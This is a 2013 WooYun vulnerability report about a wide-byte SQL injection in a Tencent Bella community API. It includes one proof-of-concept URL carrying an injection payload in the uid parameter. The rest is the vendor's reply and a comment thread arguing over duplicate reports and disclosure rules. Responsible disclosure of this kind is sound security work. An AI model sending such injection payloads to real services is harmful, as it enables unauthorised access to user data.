漏洞概要
关注数(24)
关注此漏洞
漏洞标题：腾讯蓓拉导购社区一个奇葩SQL注射漏洞（可致敏感信息泄漏）
相关厂商：腾讯
提交时间：2013-02-25 12:32
修复时间：2013-04-11 12:33
公开时间：2013-04-11 12:33
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
Tags标签：
无
漏洞详情
披露状态：
2013-02-25： 细节已通知厂商并且等待厂商处理中
2013-02-25： 厂商已经确认，细节仅向厂商公开
2013-03-07： 细节向核心白帽子及相关领域专家公开
2013-03-17： 细节向普通白帽子公开
2013-03-27： 细节向实习白帽子公开
2013-04-11： 细节向公众公开
简要描述：
腾讯QQ某接口一个奇葩的SQL注射漏洞，敏感信息泄露。
详细说明：
http://i.bella.qq.com/user/user/followingp?isnext=1&perpage=10&previd=13450826963028&callback=getIdolOrFansList&_=1360937823109&uid=4055919433585000455x1%bf%27or+2+limit+1%23
漏洞证明：
修复方案：
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：1
确认时间：2013-02-25 12:53
厂商回复：
感谢你的反馈，该漏洞已经有用户报告给我们，正在处理修复中。
最新状态：
2013-02-25：不好意思，属于操作失误，请wooyun平台帮忙操作给此漏洞13分rank。
漏洞评价：
评论
-
2013-02-25 12:57 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-02-25 12:58 |
xsser 
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@Errorera 支持！不过不能因为那边也报告了就给1分吧?
-
2013-02-25 13:24 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-02-25 13:31 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-02-25 13:42 |
牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)
-
2013-02-25 13:52 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2013-02-25 13:57 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
@xsser 膜拜腾讯神通广大！ 删除了吧。。我自己的决定
-
2013-02-25 13:58 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@Errorera 你在乌云找一个被删除的漏洞例子吧
-
2013-02-25 14:01 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
@xsser wooyun有霸王条款？ 先前我不知情 因为我在TSRC提交过 这个漏洞可以等修复后在纰漏出来我没意见 现在先删除了吧。。
-
2013-02-25 14:03 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
-
2013-02-25 14:05 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@Errorera 现在这个漏洞，算是被纰漏出来了么? 腾讯不会连“标题”都害怕了吧！！
-
2013-02-25 14:05 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@Errorera 如果这个删除了那以前抗住的很多压力就白费了，下一个又会因为其他原因被删除
-
2013-02-25 14:06 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-02-25 14:10 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
我猜对话应该是这样的？腾讯：“你怎么去乌云提交了？”Errorera：“不行么？”腾讯：“既然你在乌云那边也提交了，那这个漏洞在TSRC就不算分了哦”Errorera：“那乌云那边删除了，还有分么？”腾讯：“那你去让乌云给删掉！”
-
2013-02-25 14:13 |
only_guest ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)
@gainover ....二哥.你又说真相.贵圈真乱.
-
2013-02-25 14:16 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@only_guest 后面应该还有以下场景：Errorera：“看来是删不掉了。。”腾讯：“这次算了，下次不要再同时提交乌云了”Errorera：。。
-
2013-02-25 14:18 |
only_guest ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)
@gainover 你这让人捉急的智商怎么可能捕捉的到TSRC的思维模式.
-
2013-02-25 14:19 |
心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号，并不存在实体...)
最新状态：2013-02-25：不好意思，没有补rank的先例，请 @腾讯 官方帮忙操作给此洞主发一个充气娃娃。
-
2013-02-25 14:20 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@only_guest = = 好吧，YY无罪，发洞有罪
-
2013-02-25 15:40 |
冷静 ( 路人 | Rank:3 漏洞数:2 )
-
2013-02-25 15:55 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-02-25 17:07 |
Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)
@gainover 不过确实没必要两边都提交我觉得，白帽的含义就是只要通知到厂商就好 - -
-
2013-02-25 17:09 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@Passer_by 我觉得不一样，漏洞其实还有个角色没有体现的，就是厂商的用户，上次乌云被攻击，厂商肯定希望漏洞修复完事儿，但是对于用户必须有个提醒，我建议是披露式公开
-
2013-02-25 17:10 |
Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)
@xsser 嗯，如果洞主选择了在乌云去报，然后又跑去tsrc报。或者tsrc报了，都拿来wooyun再报。有点乱- -
-
2013-02-25 17:12 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@Passer_by 乌云对漏洞的报告没有特别要求，允许到在其他地方报告了再到乌云报告，只需要漏洞有学习价值有披露价值
-
2013-02-27 05:33 |
safe121 ( 实习白帽子 | Rank:98 漏洞数:11 | http://www.gov.cn)
-
2013-03-07 12:59 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2013-03-12 21:16 |
Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)
-
2013-03-18 02:31 |
safe121 ( 实习白帽子 | Rank:98 漏洞数:11 | http://www.gov.cn)
@Errorera 洞主是替国家办事的，楼上的各位小心查水表！！
-
2013-03-24 16:30 |
_Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
-
2013-03-29 14:18 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
表示现在我已经不看洞了.. 只看评论，看完撸一个睡觉...
-
2013-04-11 15:33 |
xsleaf ( 实习白帽子 | Rank:52 漏洞数:5 | 探索无尽的网海~)
@xsser 老大，我提交的小洞洞，为何N久都不审核啊？？
